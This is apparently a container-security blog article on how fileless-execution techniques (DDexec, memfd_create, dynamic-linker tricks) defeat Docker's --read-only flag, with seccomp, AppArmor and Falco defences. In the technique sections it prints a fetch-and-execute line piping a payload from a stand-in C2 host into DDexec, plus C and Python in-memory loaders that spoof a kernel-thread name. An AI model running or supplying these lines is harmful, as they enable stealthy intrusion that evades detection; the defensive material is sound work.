Running your Docker containers with --read-only is commonly recommended as a security hardening measure. The reasoning is straightforward: if an attacker can’t write to the filesystem, they can’t drop and execute malicious binaries.

That assumption is wrong.

In this article, we’ll explore real techniques that bypass read-only filesystem restrictions in containers, and discuss why runtime monitoring tools like Falco are essential for a proper defense-in-depth strategy.

The False Sense of Security

When you launch a container with --read-only, Docker mounts the container’s root filesystem as read-only:

1
docker run --read-only --rm -it alpine sh

Inside this container, attempts to write files to the filesystem will fail:

1
2
/ # touch /tmp/test
touch: /tmp/test: Read-only file system

This looks great on paper. But the Linux kernel provides several mechanisms that operate entirely in memory, and they don’t care about filesystem mount flags.

Technique 1: DDexec — Hijacking Process Memory

DDexec is a technique that enables fileless execution of binaries on Linux — no filesystem writes required. It works by hijacking an already-running process (typically the shell itself) and replacing its memory with an attacker-supplied binary.

How It Works

The core mechanism exploits /proc/<pid>/mem, a pseudo-file that maps directly to a process’s virtual address space:

  1. Open /proc/$pid/mem with write permissions — Shell interpreters can create file descriptors pointing to the mem file, and child processes inherit those descriptors.

  2. Read /proc/$pid/maps to defeat ASLR — The maps file reveals exactly where memory regions are mapped, bypassing Address Space Layout Randomization.

  3. Write shellcode into executable memory — Using the inherited file descriptor, the tool overwrites portions of the running process’s memory with a stager.

  4. Load the binary in-memory — The stager performs the same steps the kernel’s ELF loader would: parsing the ELF headers, creating memory mappings, reading segments into memory, setting permissions, initializing the stack, and jumping to the entry point.

Demonstration

Here’s how simple it is to use:

1
2
3
4
5
# Execute /bin/ls without it existing on disk
bash ddexec.sh ls -la < /bin/ls

# Or fetch and execute a binary from a remote server
wget -O- https://attacker.c2-server.io/payload | bash ddexec.sh argv0 arg1

The binary never touches the filesystem. It lives entirely in the process’s memory space.

Technique 2: In-Memory Execution via /dev/shm

Even when the root filesystem is read-only, /dev/shm is typically mounted as a writable tmpfs — it resides entirely in memory. While it’s usually mounted with noexec, clever attackers combine it with other techniques:

1
2
# /dev/shm is writable even in --read-only containers
echo "data" > /dev/shm/test   # This works!

Attackers can:

  • Write shellcode or scripts to /dev/shm
  • Use DDexec’s companion tool DDsc.sh to execute shellcode from /dev/shm without needing execute permissions on the mount
  • Leverage the shell interpreter itself as the execution engine

Technique 3: The Dynamic Linker Bypass

This technique, documented by WithSecure, is particularly elegant. In some container environments (especially Kubernetes pods), certain files are world-writable — for example /dev/termination-log.

The attack:

  1. Write a compiled binary to a writable location (e.g., /dev/termination-log)
  2. Invoke the dynamic linker directly, bypassing the execute permission check:
1
2
3
4
5
# Write the malicious binary
cat payload > /dev/termination-log

# Execute it through the dynamic linker — no +x permission needed
/lib/ld-musl-x86_64.so.1 /dev/termination-log

The dynamic linker (ld-linux, ld-musl) reads and maps the binary itself, completely sidestepping the kernel’s execute permission enforcement. The file doesn’t need the execute bit set.

Kubernetes note: By default, /dev/termination-log is world-writable in pods. This is not the only writable path — procfs, sysfs, and various device files may also be available.

Technique 4: memfd_create — The Canonical Fileless Primitive

If DDexec is the loud way to run code from memory, memfd_create(2) is the clean one. It’s a standard Linux syscall that creates an anonymous file that lives entirely in RAM and returns a file descriptor to it. That descriptor behaves like any other file — you can write() an ELF into it — but it has no path on any mounted filesystem.

The execution flow is textbook:

  1. Create the anonymous file: fd = memfd_create("", MFD_CLOEXEC);
  2. Write the ELF into it: stream the payload straight into fd (from a socket, a pipe, or a decrypted blob in memory).
  3. Execute it: call fexecve(fd, argv, envp) — or equivalently execveat(fd, "", argv, envp, AT_EMPTY_PATH) — or simply execve("/proc/self/fd/<fd>", ...).

The binary is never written to disk, never named, and never needs the execute bit. A minimal C implementation is only a few lines:

1
2
3
4
5
6
7
#include <sys/mman.h>
#include <unistd.h>

int fd = memfd_create("", MFD_CLOEXEC);   // anonymous, RAM-backed
write(fd, elf_bytes, elf_len);            // payload from network/pipe/memory
char *argv[] = { "kworker/0:0", NULL };   // spoofed argv[0]
fexecve(fd, argv, environ);               // run it — no path, no +x

You don’t even need a compiler in the container. Any interpreter with syscall access works — this Python one-liner-ish is a common in-the-wild pattern:

1
2
3
4
5
import ctypes, os
libc = ctypes.CDLL(None)
fd = libc.memfd_create(b"", 0)
os.write(fd, elf_bytes)                   # elf_bytes fetched over the network
os.execv(f"/proc/self/fd/{fd}", ["kworker/0:0"])

The one thing memfd_create cannot hide is its own fingerprint. The executing process’s /proc/<pid>/exe symlink resolves to something like memfd:… (deleted) instead of a real path — an unmistakable signal for a syscall-level monitor (more on that below).

Technique 5: Living off the Interpreter

Notice that the Python example above needed no attacker-supplied binary in the image at all — just python3 and a payload delivered over the wire. This is the quieter cousin of the memory-execution techniques: if your image ships a full language runtime (python, perl, ruby, node) or a shell with /dev/tcp support (bash), the attacker already has an execution engine and a networking stack. They can:

  • Pull and decode a payload entirely in interpreter memory
  • Call raw syscalls (memfd_create, ptrace, process_vm_writev) via ctypes/FFI
  • Reimplement DDexec-style memory writes in pure script

The lesson generalizes: every extra binary and runtime in your image is attack surface. This is the single strongest argument for distroless or scratch-based images — you can’t live off tools that aren’t there.

Why These Techniques Matter

These aren’t theoretical attacks. They combine well-documented Linux kernel features:

MechanismWhat It ProvidesBlocked by --read-only?Blocked by noexec?
/proc/self/memDirect process memory write accessNoNo
/proc/self/mapsASLR bypass via memory layout exposureNoNo
/dev/shmIn-memory writable tmpfsNoPartially
Dynamic linkerELF loading without execute bitNoNo
memfd_create + execveatAnonymous, path-less in-RAM executionNoNo
process_vm_writevCross-process memory write without ptraceNoNo
Inherited file descriptorsPrivilege-preserving memory accessNoNo

The common theme: all of these operate through kernel interfaces that exist regardless of filesystem mount options. The filesystem is simply the wrong layer to be defending at.

Reducing the Attack Surface: seccomp and AppArmor

Detection is only half the story. Before we monitor, we should make the attack harder — shrink the set of kernel interfaces the container can reach at all. Two controls do most of the work here.

seccomp: Take Away the Syscalls

Every technique above bottoms out in a handful of syscalls. If your application never legitimately needs them, a seccomp profile can make them return EPERM. Docker’s default seccomp profile is permissive on exactly the syscalls these attacks use — memfd_create, process_vm_writev, and ptrace are all allowed. Tighten it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["memfd_create", "process_vm_writev", "process_vm_readv", "ptrace"],
      "action": "SCMP_ACT_ERRNO",
      "errnoRet": 1
    }
  ]
}
1
docker run --security-opt seccomp=deny-fileless.json --read-only myimage
Profile before you deny. Some runtimes call memfd_create legitimately (glibc, systemd, certain JITs). Trace your app’s real syscall usage first — for example with strace -f -e trace=%process or perf trace — then deny only what it never uses. A profile that breaks the workload gets removed, and then you have no profile at all.

AppArmor: Confine the Paths and Operations

AppArmor is the path-based mandatory access control layer that ships enabled by default on Ubuntu and Debian (SELinux fills the same role, label-based, on RHEL/Fedora). Docker applies a generic docker-default profile; a custom profile lets you slam the specific doors these attacks walk through:

#include <tunables/global>

profile docker-hardened flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  # Kill DDexec: no writing to any process's memory
  deny /proc/*/mem  wklx,
  deny /proc/*/maps r,

  # No ptrace-based cross-process tampering
  deny ptrace,

  # No mounting, no module loading, no kernel knob writes
  deny mount,
  deny /sys/kernel/**  wklx,
  deny /proc/sys/**    wklx,

  # Let only the app binary execute; deny the rest
  /usr/bin/myapp  mr,
}

Load and attach it:

1
2
apparmor_parser -r -W docker-hardened.profile
docker run --security-opt apparmor=docker-hardened --read-only myimage

The Real Solution: Runtime Monitoring with Falco

Since we can’t prevent these techniques through filesystem restrictions alone, we need to detect them at runtime. This is where Falco comes in.

Falco is a cloud-native runtime security tool that uses eBPF (or a kernel module) to monitor system calls in real time. It can detect the exact behaviors these attacks produce.

Detecting DDexec-Style Attacks

The DDexec technique produces distinctive syscall patterns that Falco can catch:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
- rule: Write to Process Memory
  desc: Detects writes to /proc/self/mem or /proc/<pid>/mem, used by DDexec
  condition: >
    open_write and fd.name startswith "/proc/" and fd.name endswith "/mem"
    and container.id != host
  output: >
    Process memory write detected in container
    (user=%user.name command=%proc.cmdline container=%container.name
     file=%fd.name image=%container.image.repository)
  priority: CRITICAL
  tags: [container, mitre_defense_evasion]

Detecting /dev/shm Abuse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
- rule: Executable Written to Dev Shm
  desc: Detects file creation in /dev/shm which may indicate fileless attack staging
  condition: >
    open_write and fd.name startswith "/dev/shm/"
    and container.id != host
  output: >
    File written to /dev/shm in container
    (user=%user.name command=%proc.cmdline container=%container.name
     file=%fd.name image=%container.image.repository)
  priority: WARNING
  tags: [container, mitre_execution]

Detecting Dynamic Linker Abuse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
- rule: Direct Dynamic Linker Execution
  desc: Detects use of ld-linux or ld-musl to execute binaries (bypass execute permissions)
  condition: >
    spawned_process and
    (proc.name startswith "ld-linux" or proc.name startswith "ld-musl")
    and container.id != host
  output: >
    Dynamic linker used to execute binary in container
    (user=%user.name command=%proc.cmdline container=%container.name
     image=%container.image.repository)
  priority: CRITICAL
  tags: [container, mitre_defense_evasion]

Detecting memfd_create Execution

This is where syscall-level monitoring shines: an anonymous memfd has no path for a path-based control to block, but its execution is trivially visible to eBPF. Modern Falco exposes the proc.is_exe_from_memfd field precisely for this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
- rule: Fileless Execution via memfd_create
  desc: Detects a process executing from an anonymous memfd (DDexec, in-memory ELF droppers)
  condition: >
    spawned_process and proc.is_exe_from_memfd = true
    and container.id != host
  output: >
    Fileless execution from memfd detected in container
    (user=%user.name command=%proc.cmdline exe=%proc.exepath
     container=%container.name image=%container.image.repository)
  priority: CRITICAL
  tags: [container, mitre_defense_evasion, T1620]

You can also flag the execveat(... AT_EMPTY_PATH) pattern and the tell-tale memfd: string in the executable path when running on older Falco builds without the dedicated field.

Detecting Anomalous Outbound Connections

Many of these attacks involve downloading payloads. Falco can flag unexpected network activity:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
- rule: Unexpected Outbound Connection from Container
  desc: Detects outbound network connections from containers that shouldn't make them
  condition: >
    outbound and container.id != host
    and not (fd.sport in (80, 443, 53))
    and not proc.name in (allowed_network_processes)
  output: >
    Unexpected outbound connection from container
    (user=%user.name command=%proc.cmdline connection=%fd.name
     container=%container.name image=%container.image.repository)
  priority: WARNING
  tags: [container, mitre_command_and_control]

The Strategic Picture: You Can’t Patch the Tsunami

Step back from the individual tricks. /proc/self/mem, the dynamic linker, memfd_create — none of these are bugs. They are legitimate, documented kernel features that a modern Linux system needs to function. There is no patch coming, because there is nothing to patch.

This is a small, concrete instance of what the industry now calls the vulnerability tsunami (Tenable’s coinage): the volume and variety of exploitable conditions grows faster than any team can eliminate them one by one. When exploitation cannot be reliably prevented, chasing prevention as your primary goal is a losing game. The realistic objective shifts from “make exploitation impossible” to reduce the risk, and make sure you can see it and act on it.

That reframes container security into three concrete jobs:

  1. Reduce the attack surface. Every capability, syscall, binary, and interpreter you remove is one fewer path an attacker can take. Distroless/scratch images, --cap-drop=ALL, a tightened seccomp profile, and a custom AppArmor profile aren’t about stopping a specific CVE — they shrink the space of what’s possible inside the container.
  2. Detect at a layer the attacker can’t easily dodge. Filesystem and path-based controls sit above the syscall boundary, which is exactly where these techniques operate. eBPF-based, syscall-level telemetry (Falco, Tetragon, Sysdig) watches the layer where a memfd exec or a /proc/*/mem write is unmistakable, no matter how the payload arrived.
  3. Respond. Detection with no reaction is just expensive logging. Wire alerts into something that can kill the pod, isolate the node, or page a human — automatically, in seconds. The attacker’s exploit succeeding and their objective succeeding are two different events; your job is to fit a response in between them.

You will not win by preventing every fileless-execution technique. You win by making the container a barren place to land, and by ensuring that the moment someone does land, you know and you move.

Defense-in-Depth: A Practical Checklist

Don’t rely on a single control. Layer your defenses across the three jobs above:

Reduce the surface

  1. Use minimal base images — Prefer distroless or scratch. No bash, wget, curl, dd, python, or perl means no execution engine to live off of.
  2. Drop capabilities — Run with --cap-drop=ALL and only add back what’s strictly needed
  3. Tighten seccomp — Start from Docker’s default, then deny the syscalls your app never uses (memfd_create, process_vm_writev, ptrace) after profiling
  4. Apply a custom AppArmor/SELinux profile — Deny /proc/*/mem writes, ptrace, and mount; SELinux in enforcing mode can additionally restrict execmem
  5. Use no-new-privileges — Prevents privilege escalation via setuid binaries
  6. Mount writable tmpfs with noexec and a size cap — Raises the bar even though memfd sidesteps it:
    1
    2
    3
    4
    5
    6
    7
    
    docker run --read-only \
      --security-opt=no-new-privileges \
      --security-opt seccomp=deny-fileless.json \
      --security-opt apparmor=docker-hardened \
      --cap-drop=ALL \
      --tmpfs /dev/shm:rw,noexec,nosuid,size=64m \
      myimage
    
  7. Keep --read-only — It still blocks unsophisticated attacks and disk-persistence

Detect and respond

  1. Deploy Falco (or Tetragon/Sysdig) — Syscall-level runtime monitoring is non-negotiable for production containers
  2. Alert on the fileless fingerprints/proc/*/mem writes, memfd-backed exec, direct dynamic-linker invocation, anomalous egress
  3. Automate the response — Feed alerts to a controller that can kill or quarantine the workload, not just an inbox

Conclusion

The --read-only flag is a useful hardening measure, but treating it as a security boundary is dangerous. The Linux kernel provides multiple legitimate mechanisms — /proc/pid/mem, the dynamic linker, in-memory filesystems, memfd_create — that make fileless execution not just possible, but straightforward. None of them are bugs, so none of them will be patched away.

Security is about layers, not silver bullets. You can’t prevent the whole vulnerability tsunami, so stop trying to win at prevention alone. Do the three things that actually move risk: reduce the attack surface (minimal images, dropped capabilities, tightened seccomp, a real AppArmor profile), detect at the syscall layer where these techniques are unmistakable (Falco, Tetragon, Sysdig), and respond automatically before the attacker reaches their objective. The goal isn’t to make exploitation impossible — it likely can’t be — but to make the container a hostile place to land and to guarantee that any landing is seen and answered.


References: